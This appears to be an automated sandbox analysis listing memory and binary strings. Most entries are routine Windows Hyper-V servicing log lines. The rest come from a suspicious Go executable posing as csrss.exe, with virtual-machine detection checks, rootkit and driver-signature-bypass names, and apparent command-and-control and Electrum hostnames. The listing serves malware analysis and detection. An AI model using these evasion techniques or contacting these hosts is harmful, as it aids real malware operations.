Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Onecore-SPP-VirtualDevice, current: Staged, pending: Default, start: Staged, applicable: Staged, targeted: Staged, limit: Installed, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Common-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Hypervisor-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 268bf92397d59ed4327a8ab865bfc689, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package Microsoft-Hyper-V-Services-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package HyperV-Compute-System-VirtualMachine-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged
Source: csrss.exe	Binary or memory string: uetypeudp6uintunixuuidvaryvmciwavewildwindwoodxn-- -%s ... H_T= H_a= H_g= MB, W_a= and h_a= h_g= h_t= max= ptr siz= tab= top= u_a= u_g=%s %q%s*%d%s/%s%s:%d%s=%s%v-%v"'&+0330+0430+0530+0545+0630+0845+1030+1245+1345, ..., fp:-0930.html.jpeg.wasm
Source: csrss.exe	Binary or memory string: tUsage of %s: Value is nullVirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dll
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:57:09, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Management-Clients, Applicable: NeedsParent, Disposition: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Windows-RemoteFX-Graphics-Virtualization-Host, current: Staged, pending: Default, start: Staged, applicable: Staged, targeted: Staged, limit: Installed, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: HyperV-Networking-Containers-Package, Applicable: NeedsParent, Disposition: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:57:09, Info CBS Appl: DetectUpdate, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Local Parent: Microsoft-Hyper-V-All, Intended State: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 7a9c36033f0c22829893bc1c0a5e07a8, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: DetectUpdate, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Local Parent: Microsoft-Hyper-V-Tools-All, Intended State: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: fc0d60ecae9730160d4af9bb0ca3213e, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: detect Parent, Package: Microsoft-Windows-RemoteFX-Graphics-Virtualization-Host-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Parent: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Disposition = Detect, VersionComp: EQ, BuildComp: EQ, RevisionComp: EQ, Exist: present
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Core-Group-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 1505902669a359dad80a977529ca66cd, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Skipping Package: Microsoft-Hyper-V-Offline-Core-Group-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 8381c0f3cdb917a83d773f922f3b5250 because it is already in the correct state.
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Core-Group-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 7af75ecf5d4e3ae499f64704cca67740, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: c2f20508edf3c1fbda6e99ff59eb02d8, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: l}main.isRunningInsideVMWare
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:57, Info CBS Update: Setting Install State, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Tools-All, new state: Off
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 976eb15fe43109e4df4c51c7509e8caf, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Tools-All, current: Staged, pending: Default, start: Staged, applicable: Staged, targeted: Staged, limit: Installed, selected: Off
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Skipping Package: Microsoft-Hyper-V-Offline-Core-Group-servercommon-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 8c028159d1d14a93f99d8c89b6f63e99 because it is already in the correct state.
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package Microsoft-Hyper-V-Offline-Core-Group-servercommon-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Merge into existing execution package for Package: HyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, existing TargetedState: Staged, new TargetedState: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Common-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 4584754bbb113844563ccba331941b2b, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Onecore-SPP-VirtualDevice, Applicable: NeedsParent, Disposition: Staged
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: DSA-SHA1DecemberDefenderDeleteDCDuployanEqualSidEthiopicExtenderFebruaryFirewallFullPathGeorgianGetOEMCPGoStringGujaratiGurmukhiHTTP/1.1HTTP/2.0HiraganaInstFailInstRuneJavaneseKatakanaKayah_LiLinear_ALinear_BLocationLsaCloseMahajaniNO_ERRORNO_PROXYNovemberOl_ChikiPRIORITYParseIntPersoconPhags_PaQuestionReadFileReceivedSETTINGSSHA1-RSASaturdaySetEventSystem32TagbanwaTai_ThamTai_VietThursdayTifinaghTypeAAAATypeAXFRUgariticVBoxWddmVT_ARRAYVT_BYREFWSAIoctlWinmonFS[:word:][signal \\.\HGFS\\.\vmcistack=[_NewEnumacceptexaddress bad instcgocheckcs darknessdefault:delicatednsquerydurationeax ebp ebx ecx edi edx eflags eip embeddedesi esp exporterfinishedfragrantfs go1.13.3gs hijackedhttp/1.1https://if-matchif-rangeinfinityinjectorinvalid locationloopbackmac_addrmountainmountvolmsvmmoufnamelessno anodeno-cacheno_proxyopPseudopolishedraw-readreadfromrecvfromrestlessrunnableruntime.scavengeshutdownsolitarystrconv.taskkilltwilightunixgramunknown(usernamevmmemctlvmx_svgawitheredwsaioctlwuauservyuio.top (forced) blocked= defersc= in use)
Source: csrss.exe	Binary or memory string: ridayGOAWAYGOROOTGetACPGothicHangulHatranHebrewHyphenKaithiKhojkiLepchaLockedLycianLydianMondayPADDEDPcaSvcPragmaProgidRejangSCHED STREETServerStringSundaySyriacTai_LeTangutTeluguThaanaTypeMXTypeNSUTC+12UTC+13UTC-02UTC-08UTC-09UTC-11VBoxSFVT(%d)WINDIRWinMonWin
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package Microsoft-Hyper-V-Offline-Common-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Package: Microsoft-Hyper-V-Online-Services-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Staged, targeted: Staged
Source: upd.exe.0.dr	Binary or memory string: VMSrvc
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Installed, pending: Default, start: Installed, applicable: Installed, targeted: Installed, limit: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 0b74307a9b8d5a99fef4ac35da0bd75f, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: Value is nullVirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dllauthorizationbad flushGen bad map statebtc.cihar.combtc.xskyx.netcache-controlcontent-rangecouldn't polldalTLDpSugct?data is emptyemail addressempty integerexchange fullfatal error: gethostbynamegetservbynamegzip, deflatehttp2client=0if-none-matchimage/svg+xmlinvalid UTF-8invalid base kernel32.dllkey expansionlast-modifiedlevel 3 resetload64 failedlogs endpointmaster secretname is emptynil stackbasenot a Float32open file: %wout of memoryparallels: %wparse URL: %wparsing time powrprof.dllprl_tools.exerebooting nowscvg: inuse: servers countservice statesigner is nilsmb start: %wsocks connectsrmount errorstill in listtimer expiredtrailing datatriggerRatio=unimplementedunsupported: user canceledvalue method verifier hashverifier hostvirtualpc: %wxadd64 failedxchg64 failed}
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Online-Services-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: is unavailable()<>@,;:\"/[]?=0601021504Z0700476837158203125: cannot parse :ValidateLabels; SameSite=None<invalid Value>ASCII_Hex_DigitAccept-EncodingAccept-LanguageAddDllDirectoryBelowExactAboveCLSIDFromProgIDCLSIDFromStringCreateHardLinkWCreateWindowExWDefaultInstanceDelegateExecuteDeviceIoControlDuplicateHandleEfiGuardDxe.efiElectrumX 1.2.1Failed to find Failed to load FindNextVolumeWFindVolumeCloseFlushViewOfFileGateway TimeoutGetActiveObjectGetAdaptersInfoGetCommTimeoutsGetCommandLineWGetFirmwareTypeGetProcessTimesGetSecurityInfoGetStartupInfoWGlobal\qtxp9g8wHanifi_RohingyaIdempotency-KeyImpersonateSelfInstall failureIsWow64Process2Length RequiredLoadLibraryExALoadLibraryExWNonTransitionalNot ImplementedNtSuspendThreadOpenThreadTokenOther_LowercaseOther_UppercasePartial ContentProcess32FirstWPsalter_PahlaviQueryDosDeviceWRegCreateKeyExWRegDeleteValueWRequest TimeoutRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC]
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-All, current: Staged, pending: Default, start: Staged, applicable: Staged, targeted: Staged, limit: Installed, selected: Off
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Services-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 3e4a15565a769f217408d9c4b1007394, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: DetectUpdate, Package: Microsoft-Windows-PAW-Feature-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Remote Parent: Microsoft-Hyper-V-Services, Intended State: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Package: Microsoft-Hyper-V-Offline-Core-Group-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Staged, targeted: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Skipping Package: HyperV-Compute-System-VirtualMachine-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 4584754bbb113844563ccba331941b2b because it is already in the correct state.
Source: 0NlSa5bf55.exe, 00000000.00000002.310849116.0000000000401000.00000040.00020000.sdmp	Binary or memory string: vmnet/http.(*http2clientConnPool).addConnLocked
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: c299ced9de977b3f430798798b7f4515, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Management-Clients-63, Applicable: NeedsParent, Disposition: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package Microsoft-Hyper-V-Offline-Common-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Package: Microsoft-Hyper-V-Services-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Staged, targeted: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Services, current: Staged, pending: Default, start: Staged, applicable: Staged, targeted: Staged, limit: Installed, selected: Off
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Management-Clients, Applicable: NeedsParent, Disposition: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Tools-All, Applicable: NeedsParent, Disposition: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Services-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 459e5e70c44eb8fcb9d7b4b143aad831, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Merge into existing execution package for Package: Microsoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~~10.0.17134.1, existing TargetedState: Staged, new TargetedState: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Skipping Package: Microsoft-Hyper-V-Package-base-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 71529a01421a29d3f726bde298b145c0 because it is already in the correct state.
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Package: Microsoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Staged, targeted: Staged
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: throbbingunderflowunhandledw3m/0.5.1wanderingwaterfallweatheredwebsocketxenevtchn} stack=[ MB goal, actual
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:57, Info CBS Update: Setting Install State, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Tools-All, current State: Default, new state: Off, RemovePayload: 0
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Package: Microsoft-Hyper-V-Package-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Staged, targeted: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Skipping Package: HyperV-Compute-System-VirtualMachine-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 2679350ec0edae52ee03c1daaf55d8c2 because it is already in the correct state.
Source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: unknown network workbuf is emptywww-authenticate initialHeapLive= spinningthreads=%%!%c(big.Int=%s)0123456789ABCDEFX0123456789abcdefx060102150405Z07001192092895507812559604644775390625: missing method ; SameSite=StrictAdjustTokenGroupsCOMPRESSION_ERRORCanSet() is falseCertFindExtensionCreateStdDispatchCryptDecodeObjectDnsRecordListFreeENHANCE_YOUR_CALMEnumThreadWindowsFLE Standard TimeFailed DependencyGC assist markingGMT Standard TimeGTB Standard TimeGetCurrentProcessGetShortPathNameWHEADER_TABLE_SIZEHKEY_CLASSES_ROOTHKEY_CURRENT_USERHTTP_1_1_REQUIREDIf-Modified-SinceIsTokenRestrictedLookupAccountSidWMoved PermanentlyOld_North_ArabianOld_South_ArabianOther_ID_ContinuePython-urllib/2.5ReadProcessMemoryRegLoadMUIStringWSafeArrayCopyDataSafeArrayCreateExSentence_TerminalSysAllocStringLenToo Many RequestsTransfer-EncodingUnified_IdeographVGAuthService.exeWSAEnumProtocolsWWTSQueryUserTokenWrite after CloseX-Idempotency-Key\System32\drivers\\.\VBoxMiniRdrDNbad TinySizeClasscouldn't dial: %wcouldn't find pidcouldn't get UUIDcouldn't get pidscouldn't hide PIDcouldn't registercpu name is emptydecryption faileddiscover-electrumelectrumx.soon.itembedded/%s32.sysembedded/%s64.sysenode.duckdns.orgentersyscallblockerbium1.sytes.netexec format errorexec: not startedexponent overflowfile URL is emptyfractional secondgp.waiting != nilhandshake failureif-modified-sinceillegal parameterimpersonation: %win string literalindex > windowEndinteger too largeinvalid bit size invalid stream IDkey align too biglibwww-perl/5.820locked m0 woke upmark - bad statusmarkBits overflowmissing closing )missing closing ]missing extensionnil resource bodyno data availablenotetsleepg on g0permission deniedpseudo-device: %sread revision: %wrecords are emptyreflect.Value.Capreflect.Value.Intreflect.Value.Lenreflect: New(nil)reflect: call of runtime.newosprocruntime: a.base= runtime: b.base= runtime: nameOff runtime: next_gc=runtime: pointer runtime: textOff runtime: typeOff scanobject n == 0seek at 0x%0x: %wseeker can't seekselect (no cases)stack: frame={sp:thread exhaustiontransfer-encodingtruncated headersunknown caller pcwait for GC cyclewine_get_version
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: DetectUpdate, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Local Parent: Microsoft-Hyper-V-Services, Intended State: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:57, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V, Applicable: NeedsParent, Disposition: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:57, Info CBS Update: Setting Install State, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Management-PowerShell, current State: Default, new state: Off, RemovePayload: 0
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Management-PowerShell, Applicable: NeedsParent, Disposition: Staged
Source: csrss.exe	Binary or memory string: RTP.exeSYSTEMROOT=SetFileTimeSignWritingSoft_DottedSystemDriveTESTING KEYTTL expiredVBoxServiceVMUSrvc.exeVT_RESERVEDVariantInitVirtualFreeVirtualLockWSARecvFromWarang_CitiWhite_SpaceWinDefender[:^xdigit:]\dsefix.exealarm clockapplicationbad addressbad message
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:57, Info CBS Update: Setting Install State, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Services, current State: Default, new state: Off, RemovePayload: 0
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Common-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 80db53a4564878a8cdff9a7ca652d3fe, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Services, Applicable: NeedsParent, Disposition: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Package: Microsoft-Hyper-V-Offline-Common-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Staged, targeted: Staged
Source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: ><'\'') = ) m=+Inf+inf, n -Inf-inf.bat.cmd.com.css.exe.gif.htm.jpg.mjs.pdf.png.svg.sys.xml0.100x%x108020063125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCDN=CESTChamDATADashDateEESTEtagFromGOGCGoneHEADHKCCHKLMHostJulyJuneLisuMiaoModiNZDTNZSTNameNewaPINGPOSTQEMUROOTSASTStatThaiUUIDWESTXeon"%s"\rss\smb\u00\wup
Source: csrss.exe	Binary or memory string: emoverenamerun-v3rune1 sc.binscvg: secondsecureselectsendtoservershadowsilentsocketsocks socks5springstatusstringstructsummersunsetsweep telnetuint16uint32uint64unusedvioletvmhgfsvmxnetvpc-s3winterwup_hsxennetxensvcxenvdb %v=%v, (conn) (scan (scan) MB in Val
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Common-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 8812e937fcebe77983df86ffdfe7a471, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:42, Info CBS Appl: DetectUpdate, Package: Microsoft-Windows-PAW-Feature-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Remote Parent: Microsoft-Hyper-V, Intended State: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: detectParent (exact match): Parent: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, parent state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Management-Clients, current: Staged, pending: Default, start: Staged, applicable: Staged, targeted: Staged, limit: Installed, selected: Off
Source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: 100-continue152587890625762939453125Bidi_ControlCIDR addressCONTINUATIONCoCreateGuidCoInitializeContent TypeContent-TypeCookie.ValueCreateEventWCreateMutexWDeleteObjectECDSA-SHA256ECDSA-SHA384ECDSA-SHA512ErrUnknownPCFindNextFileGetAddrInfoWGetConsoleCPGetLastErrorGetLengthSidGetProcessIdGetStdHandleGetTempPathWGlobal\csrssI'm a teapotInstAltMatchJoin_ControlLittleEndianLoadLibraryWLoadResourceLockResourceMax-ForwardsMeetei_MayekMime-VersionMulti-StatusNot ExtendedNot ModifiedNtCreateFileOpenServiceWPUSH_PROMISEPahawh_HmongRCodeRefusedRCodeSuccessReadConsoleWReleaseMutexReportEventWResumeThreadRevertToSelfRoInitializeS-1-5-32-544SERIALNUMBERSelectObjectSetEndOfFileSetErrorModeSetStdHandleSora_SompengSyloti_NagriSysStringLenThread32NextTransitionalTransmitFileUnauthorizedUnlockFileExVBoxTray.exeVariantClearVirtualAllocVirtualQueryWinmon32.sysWinmon64.sysWintrust.dllX-ImforwardsX-Powered-By[[:^ascii:]]\/(\d+)-(.*)\\.\WinMonFSabi mismatchadvapi32.dllaltmatch -> anynotnl -> bad Pq valuebad Ta valuebad Tc 